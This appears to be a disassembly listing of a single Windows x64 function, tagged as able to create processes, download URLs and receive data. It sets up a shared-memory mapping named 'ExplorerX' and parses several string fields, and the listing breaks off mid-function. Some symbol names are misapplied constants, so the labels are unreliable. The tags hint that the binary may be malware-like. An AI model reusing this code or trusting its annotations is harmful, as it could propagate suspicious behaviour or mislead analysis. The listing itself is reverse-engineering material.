Function at 0x14004a630
Capabilities:
Create process on windows
Download url
Receive data

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x250]
sub rsp, 0x350
mov rax, qword [0x140417010]
xor rax, rsp
mov qword [rbp + 0x248], rax
mov r15, rcx
lea rax, str.ExplorerX
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 0x1230
xor r9d, r9d
xor edx, edx
lea r8d, [r9 + 4]
mov r13, 0xffffffffffffffff
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_CreateFileMappingW]
mov rbx, rax
test rax, rax
je 0x14004a6d2
mov qword [rsp + 0x20], 0x1230
xor r9d, r9d
xor r8d, r8d
mov edx, 0xf001f
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_MapViewOfFile]
mov rdi, rax
mov qword [rbp - 8], rax
test rax, rax
jne 0x14004a6dc
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, 1
jmp 0x14004bc87
xorps xmm0, xmm0
movups xmmword [rbp + 0x158], xmm0
mov qword [rbp + 0x168], send
mov qword [rbp + 0x170], send
movsd xmm0, qword [str.Default_Type]
movsd qword [rbp + 0x158], xmm0
mov eax, dword [0x14040c028]
mov dword [rbp + 0x160], eax
mov byte [rbp + 0x164], 0
lea rbx, [r15 + 4]
mov qword [rbp - 0x70], rbx
lea rdx, [0x14040c030]
mov rcx, rbx
call sub.api_ms_win_crt_string_l1_1_0.dll_strcmp
test eax, eax
je 0x14004a767
lea rdx, [0x14040c048]
mov rcx, rbx
call sub.api_ms_win_crt_string_l1_1_0.dll_strcmp
test eax, eax
je 0x14004a767
lea rdx, [0x14040c058]
mov rcx, rbx
call sub.api_ms_win_crt_string_l1_1_0.dll_strcmp
test eax, eax
je 0x14004a767
xor eax, eax
jmp 0x14004bc87
mov byte [rdi], 1
lea rdx, [r15 + 0x324]
lea rcx, [rbp + 0xf8]
call fcn.1400470a0
nop
mov rbx, r13
inc rbx
cmp byte [r15 + rbx + 0x3ec], 0
jne 0x14004a781
movabs rdi, 0x7fffffffffffffff
mov rax, rdi
mov rdx, qword [rbp + 0x108]
sub rax, rdx
cmp rax, rbx
jb 0x14004bd05
lea r9, [rbp + 0xf8]
mov r12, qword [rbp + 0xf8]
cmp qword [rbp + 0x110], 0x10
cmovae r9, r12
mov qword [rbp + 0xf0], r9
xorps xmm0, xmm0
movups xmmword [rsp + 0x50], xmm0
lea rax, [rdx + rbx]
mov qword [rbp], rax
mov r14d, send
lea rsi, [rsp + 0x50]
lea ecx, [r14 + 7]
cmp rax, r14
jbe 0x14004a88a
mov r14, rax
or r14, 0xf
cmp r14, rdi
jbe 0x14004a809
mov r14, rdi
jmp 0x14004a810
cmp r14, rcx
cmovb r14, rcx
mov rcx, r14
add rcx, 1
cmovb rcx, r13
cmp rcx, 0x1000
jb 0x14004a862
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x14004bd0b
mov rcx, rax
call fcn.140053fd8
test rax, rax
je 0x14004bbad
lea rsi, [rax + 0x27]
and rsi, 0xffffffffffffffe0
mov qword [rsi - 8], rax
mov rdx, qword [rbp + 0x108]
mov rax, qword [rbp]
mov r9, qword [rbp + 0xf0]
jmp 0x14004a885
test rcx, rcx
je 0x14004a883
call fcn.140053fd8
mov rsi, rax
mov rdx, qword [rbp + 0x108]
mov rax, qword [rbp]
mov r9, qword [rbp + 0xf0]
jmp 0x14004a885
xor esi, esi
mov qword [rsp + 0x50], rsi
mov qword [rsp + 0x60], rax
mov qword [rsp + 0x68], r14
mov r8, rdx
mov rdx, r9
mov rcx, rsi
call sub.VCRUNTIME140.dll_memcpy
mov rcx, qword [rbp + 0x108]
add rcx, rsi
mov r8, rbx
lea rdx, [r15 + 0x3ec]
call sub.VCRUNTIME140.dll_memcpy
mov rax, qword [rbp]
mov byte [rsi + rax], 0
mov rax, qword [rbp + 0x110]
cmp rax, 0x10
jb 0x14004a902
lea rdx, [rax + 1]
mov rax, r12
cmp rdx, 0x1000
jb 0x14004a8fa
add rdx, 0x27
mov r12, qword [r12 - 8]
sub rax, r12
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14004bbad
mov rcx, r12
call fcn.140053ab0
movups xmm0, xmmword [rsp + 0x50]
movups xmmword [rbp + 0xf8], xmm0
movups xmm1, xmmword [rsp + 0x60]
movups xmmword [rbp + 0x108], xmm1
lea rcx, [rbp + 0xf8]
movq rax, xmm0
mov qword [rbp + 0x48], rax
psrldq xmm1, 8
movq rdx, xmm1
mov qword [rbp], rdx
cmp rdx, 0x10
cmovae rcx, rax
mov r9, qword [rbp - 8]
mov rdx, r9
sub rdx, rcx
nop word [rax + rax]
movzx eax, byte [rcx]
mov byte [rdx + rcx + 0x401], al
lea rcx, [rcx + 1]
test al, al
jne 0x14004a950
mov r8, qword [rbp - 0x70]
mov rcx, r8
mov rdx, r9
sub rdx, r8
nop
movzx eax, byte [rcx]
mov byte [rdx + rcx + 0x201], al
lea rcx, [rcx + 1]
test al, al
jne 0x14004a970
lea rax, [rbp + 0x28]
mov qword [rbp + 0xf0], rax
xorps xmm0, xmm0
movups xmmword [rbp + 0x28], xmm0
mov qword [rbp + 0x38], 1
mov qword [rbp + 0x40], send
mov word [rbp + 0x28], 0x30
lea rax, [rbp + 0xb0]
mov qword [rbp + 8], rax
mov rdx, r8
lea rcx, [rbp + 0xb0]
call fcn.1400470a0
mov r15, rax
lea rax, [rbp + 0xd0]
mov qword [rbp + 0x10], rax
lea rcx, [rbp + 0xd0]
call fcn.140049fd0
mov r12, rax
lea rax, [rbp - 0x48]
mov qword [rbp + 0x18], rax
xorps xmm0, xmm0
movups xmmword [rbp - 0x48], xmm0
xor r14d, r14d
mov qword [rbp - 0x38], r14
mov qword [rbp - 0x30], r14
lea rcx, [0x1404183d8]
mov rbx, r13
inc rbx
cmp byte [rcx + rbx], r14b
jne 0x14004aa05
cmp rbx, rdi
ja 0x14004bd11
movabs rax, 0x8000000000000000
mov qword [rbp - 0x30], send
cmp rbx, 0x10
jae 0x14004aa4c
mov qword [rbp - 0x38], rbx
mov r8, rbx
mov rdx, rcx
lea rcx, [rbp - 0x48]
call sub.VCRUNTIME140.dll_memcpy
mov byte [rbp + rbx - 0x48], r14b
jmp 0x14004aadd
mov rsi, rbx
or rsi, 0xf
cmp rsi, rdi
jbe 0x14004aa7a
mov rsi, rdi
add rax, 0x27
mov rcx, rax
call fcn.140053fd8
test rax, rax
je 0x14004aaa3
lea r14, [rax + 0x27]
and r14, 0xffffffffffffffe0
mov qword [r14 - 8], rax
jmp 0x14004aab7
cmp rsi, 0x16
mov eax, socket
cmovb rsi, rax
lea rcx, [rsi + 1]
cmp rcx, 0x1000
jb 0x14004aaaa
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x14004bcbd
jmp 0x14004aa5f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
test rcx, rcx
je 0x14004aab7
call fcn.140053fd8
mov r14, rax
mov qword [rbp - 0x48], r14
mov qword [rbp - 0x38], rbx
mov qword [rbp - 0x30], rsi
mov r8, rbx
lea rdx, [0x1404183d8]
mov rcx, r14
call sub.VCRUNTIME140.dll_memcpy
mov byte [r14 + rbx], 0
xor r14d, r14d
xorps xmm0, xmm0
movups xmmword [rbp - 0x28], xmm0
mov qword [rbp - 0x18], r14
mov qword [rbp - 0x10], r14
lea rcx, [0x140418310]
mov rbx, r13
inc rbx
cmp byte [rcx + rbx], 0
jne 0x14004aaf6
cmp rbx, rdi
ja 0x14004bd17
mov qword [rbp - 0x10], send
cmp rbx, 0x10
jae 0x14004ab33
mov qword [rbp - 0x18], rbx
mov r8, rbx
mov rdx, rcx
lea rcx, [rbp - 0x28]
call sub.VCRUNTIME140.dll_memcpy
mov byte [rbp + rbx - 0x28], 0
jmp 0x14004abce
mov rsi, rbx
or rsi, 0xf
cmp rsi, rdi
jbe 0x14004ab6b
mov rsi, rdi
movabs rax, 0x8000000000000000
add rax, 0x27
mov rcx, rax
call fcn.140053fd8
test rax, rax
je 0x14004ab94
lea r14, [rax + 0x27]
and r14, 0xffffffffffffffe0
mov qword [r14 - 8], rax
jmp 0x14004aba8
cmp rsi, 0x16
mov eax, socket
cmovb rsi, rax
lea rcx, [rsi + 1]
cmp rcx, 0x1000
jb 0x14004ab9b
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x14004bcc3
jmp 0x14004ab50
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
test rcx, rcx
je 0x14004aba8
call fcn.140053fd8
mov r14, rax
mov qword [rbp - 0x28], r14
mov qword [rbp - 0x18], rbx
mov qword [rbp - 0x10], rsi
mov r8, rbx
lea rdx, [0x140418310]
mov rcx, r14
call sub.VCRUNTIME140.dll_memcpy
mov byte [r14 + rbx], 0
xor r14d, r14d
lea rax, [rbp + 0x28]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], r15
mov r9, r12
lea r8, [rbp - 0x48]
lea rdx, [rbp - 0x28]
lea rcx, [rbp + 0x138]
call fcn.140047880
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__errno]
mov rsi, rax
lea rbx, [rbp + 0x138]
cmp qword [rbp + 0x150], 0x10
cmovae rbx, qword [rbp + 0x138]
mov dword [rax], r14d
mov r8d, reloc.WS2_32.dll_recv
lea rdx, [rbp + 0xf0]
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_convert_l1_1_0.dll_strtoull]
cmp rbx, qword [rbp + 0xf0]
jne 0x14004ac44
lea rcx, str.invalid_stoull_argument
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Xinvalid_argument_char_const____ptr64_]
int3
cmp dword [rsi], 0x22
jne 0x14004ac57
lea rcx, str.stoull_argument_out_of_range
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Xout_of_range_char_const____ptr64_]
int3
mov rcx, qword [rbp - 8]
mov qword [rcx + 0x1208], rax
lea rax, [rbp - 0x68]
mov qword [rbp + 0x20], rax
xorps xmm0, xmm0
movups xmmword [rbp - 0x68], xmm0
mov qword [rbp - 0x58], 1
mov qword [rbp - 0x50], send
mov word [rbp - 0x68], 0x31
lea rax, [rbp + 0x50]
mov qword [rbp + 0x18], rax
mov rdx, qword [rbp - 0x70]
lea rcx, [rbp + 0x50]
call fcn.1400470a0
mov r15, rax
lea rax, [rbp + 0x70]
mov qword [rbp + 0x10], rax
lea rcx, [rbp + 0x70]
call fcn.140049fd0
mov r12, rax
lea rax, [rsp + 0x70]
mov qword [rbp + 8], rax
xorps xmm0, xmm0
movups xmmword [rsp + 0x70], xmm0
mov qword [rbp - 0x80], r14
mov qword [rbp - 0x78], r14
mov rbx, r13
lea rcx, [0x1404183d8]
inc rbx
cmp byte [rcx + rbx], 0
jne 0x14004acd6
cmp rbx, rdi
ja 0x14004bd1d
mov qword [rbp - 0x78], send
cmp rbx, 0x10
jae 0x14004ad14
mov qword [rbp - 0x80], rbx
mov r8, rbx
mov rdx, rcx
lea rcx, [rsp + 0x70]
call sub.VCRUNTIME140.dll_memcpy
mov byte [rsp + rbx + 0x70], 0
jmp 0x14004adb0
mov rsi, rbx
or rsi, 0xf
cmp rsi, rdi
jbe 0x14004ad4c
mov rsi, rdi
movabs rax, 0x8000000000000000
add rax, 0x27
mov rcx, rax
call fcn.140053fd8
test rax, rax
je 0x14004ad75
lea r14, [rax + 0x27]
and r14, 0xffffffffffffffe0
mov qword [r14 - 8], rax
jmp 0x14004ad89
cmp rsi, 0x16
mov eax, socket
cmovb rsi, rax
lea rcx, [rsi + 1]
cmp rcx, 0x1000
jb 0x14004ad7c
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x14004bcc9
jmp 0x14004ad31
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
test rcx, rcx
je 0x14004ad89
call fcn.140053fd8
mov r14, rax
mov qword [rsp + 0x70], r14
mov qword [rbp - 0x80], rbx
mov qword [rbp - 0x78], rsi
mov r8, rbx
lea rdx, [0x1404183d8]
mov rcx, r14
call sub.VCRUNTIME140.dll_memcpy
mov byte [rbx + r14], 0
xor r14d, r14d
xorps xmm0, xmm0
movups xmmword [rsp + 0x50], xmm0
mov qword [rsp + 0x60], r14
mov qword [rsp + 0x68], r14
mov rbx, r13
lea rcx, [0x140418310]
nop dword [rax]
inc rbx
cmp byte [rcx + rbx], 0
jne 0x14004add0
cmp rbx, rdi
ja 0x14004bd23
mov qword [rsp + 0x68], send
cmp rbx, 0x10
jae 0x14004ae10
mov qword [rsp + 0x60], rbx
mov r8, rbx
mov rdx, rcx
lea rcx, [rsp + 0x50]
call sub.VCRUNTIME140.dll_memcpy
mov byte [rsp + rbx + 0x50], 0
jmp 0x14004aeae
mov rsi, rbx
or rsi, 0xf
cmp rsi, rdi
jbe 0x14004ae48
mov rsi, rdi
movabs rax, 0x8000000000000000
add rax, 0x27
mov rcx, rax
call fcn.140053fd8
test rax, rax
je 0x14004ae71
lea r14, [rax + 0x27]
and r14, 0xffffffffffffffe0
mov qword [r14 - 8], rax
jmp 0x14004ae85
cmp rsi, 0x16
mov eax, socket
cmovb rsi, rax
lea rcx, [rsi + 1]
cmp rcx, 0x1000
jb 0x14004ae78
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x14004bccf
jmp 0x14004ae2d
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
test rcx, rcx
je 0x14004ae85
call fcn.140053fd8
mov r14, rax
mov qword [rsp + 0x50], r14
mov qword [rsp + 0x60], rbx
mov qword [rsp + 0x68], rsi
mov r8, rbx
lea rdx, [0x140418310]
mov rcx, r14
call sub.VCRUNTIME140.dll_memcpy
mov byte [r14 + rbx], 0
xor r14d, r14d
lea rax, [rbp - 0x68]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], r15
mov r9, r12
lea r8, [rsp + 0x70]
lea rdx, [rsp + 0x50]
lea rcx, [rbp + 0x90]
call fcn.140047880
mov rbx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__errno]
mov rsi, rax
cmp qword [rbx + 0x18], 0x10
jb 0x14004aeeb
mov rbx, qword [rbx]
mov dword [rax], r14d
mov r8d, reloc.WS2_32.dll_recv
lea rdx, [rbp + 0xf0]
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_convert_l1_1_0.dll_strtoull]
cmp rbx, qword [rbp + 0xf0]
jne 0x14004af1b
lea rcx, str.invalid_stoull_argument
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Xinvalid_argument_char_const____ptr64_]
int3
cmp dword [rsi], 0x22
jne 0x14004af2e
lea rcx, str.stoull_argument_out_of_range
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Xout_of_range_char_const____ptr64_]
int3
mov rcx, qword [rbp - 8]
mov qword [rcx + 0x1210], rax
mov rdx, qword [rbp + 0xa8]
cmp rdx, 0x10
jb 0x14004af7d
inc rdx
mov rcx, qword [rbp + 0x90]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14004af78
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14004af78
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140053ab0
lea rax, [rbp - 0x68]
mov qword [rbp + 0x20], rax
xorps xmm0, xmm0
movups xmmword [rbp - 0x68], xmm0
mov qword [rbp - 0x58], 1
mov qword [rbp - 0x50], send
mov word [rbp - 0x68], 0x35
lea rax, [rbp + 0x70]
mov qword [rbp + 0x18], rax
mov rdx, qword [rbp - 0x70]
lea rcx, [rbp + 0x70]
call fcn.1400470a0
mov r15, rax
lea rax, [rbp + 0x50]
mov qword [rbp + 0x10], rax
lea rcx, [rbp + 0x50]
call fcn.140049fd0
mov r12, rax
lea rax, [rsp + 0x50]
mov qword [rbp + 8], rax
xorps xmm0, xmm0
movups xmmword [rsp + 0x50], xmm0
mov qword [rsp + 0x60], r14
mov qword [rsp + 0x68], r14
mov rbx, r13
lea rcx, [0x1404183d8]
inc rbx
cmp byte [rcx + rbx], 0
jne 0x14004aff3
cmp rbx, rdi
ja 0x14004bd29
mov qword [rsp + 0x68], send
cmp rbx, 0x10
jae 0x14004b033
mov qword [rsp + 0x60], rbx
mov r8, rbx
mov rdx, rcx
lea rcx, [rsp + 0x50]
call sub.VCRUNTIME140.dll_memcpy
mov byte [rsp + rbx + 0x50], 0
jmp 0x14004b0d1
mov rsi, rbx
or rsi, 0xf
cmp rsi, rdi
jbe 0x14004b06b
mov rsi, rdi
movabs rax, 0x8000000000000000
add rax, 0x27
mov rcx, rax
call fcn.140053fd8
test rax, rax
je 0x14004b094
lea r14, [rax + 0x27]
and r14, 0xffffffffffffffe0
mov qword [r14 - 8], rax
jmp 0x14004b0a8
cmp rsi, 0x16
mov eax, socket
cmovb rsi, rax
lea rcx, [rsi + 1]
cmp rcx, 0x1000
jb 0x14004b09b
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x14004bcd5
jmp 0x14004b050
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
test rcx, rcx
je 0x14004b0a8
call fcn.140053fd8
mov r14, rax
mov qword [rsp + 0x50], r14
mov qword [rsp + 0x60], rbx
mov qword [rsp + 0x68], rsi
mov r8, rbx
lea rdx, [0x1404183d8]
mov rcx, r14
call sub.VCRUNTIME140.dll_memcpy
mov byte [r14 + rbx], 0
xor r14d, r14d
xorps xmm0, xmm0
movups xmmword [rsp + 0x70], xmm0
mov qword [rbp - 0x80], r14
mov qword [rbp - 0x78], r14
mov rbx, r13
lea rcx, [0x140418310]
nop dword [rax + rax]
inc rbx
cmp byte [rcx + rbx], 0
jne 0x14004b0f0
cmp rbx, rdi
ja 0x14004bd2f
mov qword [rbp - 0x78], send
cmp rbx, 0x10
jae 0x14004b12e
mov qword [rbp - 0x80], rbx
mov r8, rbx
mov rdx, rcx
lea rcx, [rsp + 0x70]
call sub.VCRUNTIME140.dll_memcpy
mov byte [rsp + rbx + 0x70], 0
jmp 0x14004b1ca
mov rsi, rbx
or rsi, 0xf
cmp rsi, rdi
jbe 0x14004b166
mov rsi, rdi
movabs rax, 0x8000000000000000
add rax, 0x27
mov rcx, rax
call fcn.140053fd8
test rax, rax
je 0x14004b18f
lea r14, [rax + 0x27]
and r14, 0xffffffffffffffe0
mov qword [r14 - 8], rax
jmp 0x14004b1a3
cmp rsi, 0x16
mov eax, socket
cmovb rsi, rax
lea rcx, [rsi + 1]
cmp rcx, 0x1000
jb 0x14004b196
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x14004bcdb
jmp 0x14004b14b
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
test rcx, rcx
je 0x14004b1a3
call fcn.140053fd8
mov r14, rax
mov qword [rsp + 0x70], r14
mov qword [rbp - 0x80], rbx
mov qword [rbp - 0x78], rsi
mov r8, rbx
lea rdx, [0x140418310]
mov rcx, r14
call sub.VCRUNTIME140.dll_memcpy
mov byte [r14 + rbx], 0
xor r14d, r14d
lea rax, [rbp - 0x68]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], r15
mov r9, r12
lea r8, [rsp + 0x50]
lea rdx, [rsp + 0x70]
lea rcx, [rbp + 0x90]
call fcn.140047880
mov rbx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__errno]
mov rsi, rax
cmp qword [rbx + 0x18], 0x10
jb 0x14004b207
mov rbx, qword [rbx]
mov dword [rax], r14d
mov r8d, reloc.WS2_32.dll_recv
lea rdx, [rbp + 0xf0]
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_convert_l1_1_0.dll_strtoull]
cmp rbx, qword [rbp + 0xf0]
jne 0x14004b237
lea rcx, str.invalid_stoull_argument
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Xinvalid_argument_char_const____ptr64_]
int3
cmp dword [rsi], 0x22
jne 0x14004b24a
lea rcx, str.stoull_argument_out_of_range
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Xout_of_range_char_const____ptr64_]
int3
mov rcx, qword [rbp - 8]
mov qword [rcx + 0x1218], rax
mov rdx, qword [rbp + 0xa8]
cmp rdx, 0x10
jb 0x14004b299
inc rdx
mov rcx, qword [rbp + 0x90]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14004b294
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14004b294
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140053ab0
lea rax, [rbp - 0x68]
mov qword [rbp + 0x20], rax
xorps xmm0, xmm0
movups xmmword [rbp - 0x68], xmm0
mov qword [rbp - 0x58], 1
mov qword [rbp - 0x50], send
mov word [rbp - 0x68], 0x32
lea rax, [rbp + 0x70]
mov qword [rbp + 0x18], rax
mov rdx, qword [rbp - 0x70]
lea rcx, [rbp + 0x70]
call fcn.1400470a0
mov r15, rax
lea rax, [rbp + 0x50]
mov qword [rbp + 0x10], rax
lea rcx, [rbp + 0x50]
call fcn.140049fd0
mov r12, rax
lea rax, [rsp + 0x50]
mov qword [rbp + 8], rax
xorps xmm0, xmm0
movups xmmword [rsp + 0x50], xmm0
mov qword [rsp + 0x60], r14
mov qword [rsp + 0x68], r14
mov rbx, r13
lea rcx, [0x1404183d8]
nop
inc rbx
cmp byte [rcx + rbx], 0
jne 0x14004b310
cmp rbx, rdi
ja 0x14004bd35
mov qword [rsp + 0x68], send
cmp rbx, 0x10
jae 0x14004b350
mov qword [rsp + 0x60], rbx
mov r8, rbx
mov rdx, rcx
lea rcx, [rsp + 0x50]
call sub.VCRUNTIME140.dll_memcpy
mov byte [rsp + rbx + 0x50], 0
jmp 0x14004b3ee
mov rsi, rbx
or rsi, 0xf
cmp rsi, rdi
jbe 0x14004b388
mov rsi, rdi
movabs rax, 0x8000000000000000
add rax, 0x27
mov rcx, rax
call fcn.140053fd8
test rax, rax
je 0x14004b3b1
lea r14, [rax + 0x27]
and r14, 0xffffffffffffffe0
mov qword [r14 - 8], rax
jmp 0x14004b3c5
cmp rsi, 0x16
mov eax, socket
cmovb rsi, rax
lea rcx, [rsi + 1]
cmp rcx, 0x1000
jb 0x14004b3b8
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x14004bce1
jmp 0x14004b36d
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
test rcx, rcx
je 0x14004b3c5
call fcn.140053fd8
mov r14, rax
mov qword [rsp + 0x50], r14
mov qword [rsp + 0x60], rbx
mov qword [rsp + 0x68], rsi
mov r8, rbx
lea rdx, [0x1404183d8]
mov rcx, r14
call sub.VCRUNTIME140.dll_memcpy
mov byte [r14 + rbx], 0
xor r14d, r14d
xorps xmm0, xmm0
movups xmmword [rsp + 0x70], xmm0
mov qword [rbp - 0x80], r14
mov qword [rbp - 0x78], r14
mov rbx, r13
lea rcx, [0x140418310]
nop dword [rax + rax]
inc rbx
cmp byte [rcx + rbx], 0
jne 0x14004b410
cmp rbx, rdi
ja 0x14004bd3b
mov qword [rbp - 0x78], send
cmp rbx, 0x10
jae 0x14004b44e
mov qword [rbp - 0x80], rbx
mov r8, rbx
mov rdx, rcx
lea rcx, [rsp + 0x70]
call sub.VCRUNTIME140.dll_memcpy
mov byte [rsp + rbx + 0x70], 0
jmp 0x14004b4ea
mov rsi, rbx
or rsi, 0xf
cmp rsi, rdi
jbe 0x14004b486
mov rsi, rdi
movabs rax, 0x8000000000000000
add rax, 0x27
mov rcx, rax
call fcn.140053fd8
test rax, rax
je 0x14004b4af
lea r14, [rax + 0x27]
and r14, 0xffffffffffffffe0
mov qword [r14 - 8], rax
jmp 0x14004b4c3
cmp rsi, 0x16
mov eax, socket
cmovb rsi, rax
lea rcx, [rsi + 1]
cmp rcx, 0x1000
jb 0x14004b4b6
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x14004bce7
jmp 0x14004b46b
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
test rcx, rcx
je 0x14004b4c3
call fcn.140053fd8
mov r14, rax
mov qword [rsp + 0x70], r14
mov qword [rbp - 0x80], rbx
mov qword [rbp - 0x78], rsi
mov r8, rbx
lea rdx, [0x140418310]
mov rcx, r14
call sub.VCRUNTIME140.dll_memcpy
mov byte [r14 + rbx], 0
xor r14d, r14d
lea rax, [rbp - 0x68]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], r15
mov r9, r12
lea r8, [rsp + 0x50]
lea rdx, [rsp + 0x70]
lea rcx, [rbp + 0x178]
call fcn.140047880
nop
lea rax, [rbp + 0x28]
mov qword [rbp + 0x20], rax
xorps xmm0, xmm0
movups xmmword [rbp + 0x28], xmm0
mov qword [rbp + 0x38], 1
mov qword [rbp + 0x40], send
mov word [rbp + 0x28], 0x33
lea rax, [rbp + 0xd0]
mov qword [rbp + 0x18], rax
mov rdx, qword [rbp - 0x70]
lea rcx, [rbp + 0xd0]
call fcn.1400470a0
mov r15, rax
lea rax, [rbp + 0xb0]
mov qword [rbp + 0x10], rax
lea rcx, [rbp + 0xb0]
call fcn.140049fd0
mov r12, rax
lea rax, [rbp - 0x28]
mov qword [rbp + 8], rax
xorps xmm0, xmm0
movups xmmword [rbp - 0x28], xmm0
mov qword [rbp - 0x18], r14
mov qword [rbp - 0x10], r14
mov rbx, r13
lea rcx, [0x1404183d8]
inc rbx
cmp byte [rcx + rbx], 0
jne 0x14004b590
cmp rbx, rdi
ja 0x14004bd41
mov qword [rbp - 0x10], send
cmp rbx, 0x10
jae 0x14004b5cd
mov qword [rbp - 0x18], rbx
mov r8, rbx
mov rdx, rcx
lea rcx, [rbp - 0x28]
call sub.VCRUNTIME140.dll_memcpy
mov byte [rbp + rbx - 0x28], 0
jmp 0x14004b668
mov rsi, rbx
or rsi, 0xf
cmp rsi, rdi
jbe 0x14004b605
mov rsi, rdi
movabs rax, 0x8000000000000000
add rax, 0x27
mov rcx, rax
call fcn.140053fd8
test rax, rax
je 0x14004b62e
lea r14, [rax + 0x27]
and r14, 0xffffffffffffffe0
mov qword [r14 - 8], rax
jmp 0x14004b642
cmp rsi, 0x16
mov eax, socket
cmovb rsi, rax
lea rcx, [rsi + 1]
cmp rcx, 0x1000
jb 0x14004b635
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x14004bced
jmp 0x14004b5ea
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
test rcx, rcx
je 0x14004b642
call fcn.140053fd8
mov r14, rax
mov qword [rbp - 0x28], r14
mov qword [rbp - 0x18], rbx
mov qword [rbp - 0x10], rsi
mov r8, rbx
lea rdx, [0x1404183d8]
mov rcx, r14
call sub.VCRUNTIME140.dll_memcpy
mov byte [rbx + r14], 0
xor r14d, r14d
xorps xmm0, xmm0
movups xmmword [rbp - 0x48], xmm0
mov qword [rbp - 0x38], r14
mov qword [rbp - 0x30], r14
mov rbx, r13
lea rcx, [0x140418310]
inc rbx
cmp byte [rcx + rbx], 0
jne 0x14004b681
cmp rbx, rdi
ja 0x14004bd47
mov qword [rbp - 0x30], send
cmp rbx, 0x10
jae 0x14004b6be
mov qword [rbp - 0x38], rbx
mov r8, rbx
mov rdx, rcx
lea rcx, [rbp - 0x48]
call sub.VCRUNTIME140.dll_memcpy
mov byte [rbp + rbx - 0x48], 0
jmp 0x14004b759
mov rsi, rbx
or rsi, 0xf
cmp rsi, rdi
jbe 0x14004b6f6
mov rsi, rdi
movabs rax, 0x8000000000000000
add rax, 0x27
mov rcx, rax
call fcn.140053fd8
test rax, rax
je 0x14004b71f
lea r14, [rax + 0x27]
and r14, 0xffffffffffffffe0
mov qword [r14 - 8], rax
jmp 0x14004b733
cmp rsi, 0x16
mov eax, socket
cmovb rsi, rax
lea rcx, [rsi + 1]
cmp rcx, 0x1000
jb 0x14004b726
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x14004bcf3
jmp 0x14004b6db
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
test rcx, rcx
je 0x14004b733
call fcn.140053fd8
mov r14, rax
mov qword [rbp - 0x48], r14
mov qword [rbp - 0x38], rbx
mov qword [rbp - 0x30], rsi
mov r8, rbx
lea rdx, [0x140418310]
mov rcx, r14
call sub.VCRUNTIME140.dll_memcpy
mov byte [rbx + r14], 0
xor r14d, r14d
lea rax, [rbp + 0x28]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], r15
mov r9, r12
lea r8, [rbp - 0x28]
lea rdx, [rbp - 0x48]
lea rcx, [rbp + 0x198]
call fcn.140047880
nop
lea rax, [rbp - 0x68]
mov qword [rbp + 0x20], rax
xorps xmm0, xmm0
movups xmmword [rbp - 0x68], xmm0
mov qword [rbp - 0x58], 1
mov qword [rbp - 0x50], send
mov word [rbp - 0x68], 0x34
lea rax, [rbp + 0x70]
mov qword [rbp + 0x18], rax
mov rdx, qword [rbp - 0x70]
lea rcx, [rbp + 0x70]
call fcn.1400470a0
mov r15, rax
lea rax, [rbp + 0x50]
